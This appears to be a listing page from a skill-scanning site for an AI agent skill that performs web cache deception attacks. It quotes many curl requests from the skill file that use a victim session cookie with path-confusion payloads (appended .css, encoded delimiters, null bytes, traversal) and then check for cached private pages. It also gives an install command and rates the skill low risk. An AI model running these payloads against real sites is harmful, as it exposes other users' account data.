← All skills
performing-web-cache-deception-attack
90 / 100 · Low risk
Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.
By yanacuti1121/Yana-AI (GitHub) · coding · 13 stars · scanned at commit 54d4aa9
Execute web cache deception attacks by exploiting path normalization
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: target.com
The author does not mention this.
Found in 25 places.
Show 17 more
- .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 80
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css" - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 83
curl "http://target.com/account/profile/anything.css" - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 88
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 91
curl -s "http://target.com/account/profile/x.$ext" | head -c 200 - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 100
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css" - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 103
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css" - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 104
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css" - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 107
curl -b "session=VICTIM" "http://target.com/account/profile%00.css" - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 110
curl -b "session=VICTIM" "http://target.com/account/profile%23.css" - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 113
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile" - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 122
curl -b "session=VICTIM" "http://target.com/static/../account/profile" - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 126
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile" - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 129
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS" - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 132
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css" - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 141
curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css" - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 144
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css" - .claude/skills/performing-web-cache-deception-attack/SKILL.md, line 145
curl "http://target.com/account/profile/./style.css" # Check if cached
and 5 more places
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 6 places.
Show 3 more
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'performing-web-cache-deception-attack' ] || [ -L ~/.agents/skills/'performing-web-cache-deception-attack' ]; then echo 'A skill folder named performing-web-cache-deception-attack already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/yanacuti1121/Yana-AI' "$d" && git -C "$d" checkout --quiet '54d4aa9fa3241319f4d37212bd23826658bf6bed' -- '.claude/skills/performing-web-cache-deception-attack' && mkdir -p ~/.agents/skills && cp -R "$d"/'.claude/skills/performing-web-cache-deception-attack' ~/.agents/skills/'performing-web-cache-deception-attack' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'performing-web-cache-deception-attack' ~/.claude/skills/'performing-web-cache-deception-attack' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for yanacuti1121/Yana-AI shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/yanacuti1121/Yana-AI/)
Score history
| Date | Version | Score |
|---|
| 2026-11-13 | 54d4aa9 | 90 |
| 2026-11-08 | 4a78f20 | 100 |
Also found in
Identical copies of this skill exist at:
- yanacuti1121/Yana-AI/core/skills/performing-web-cache-deception-attack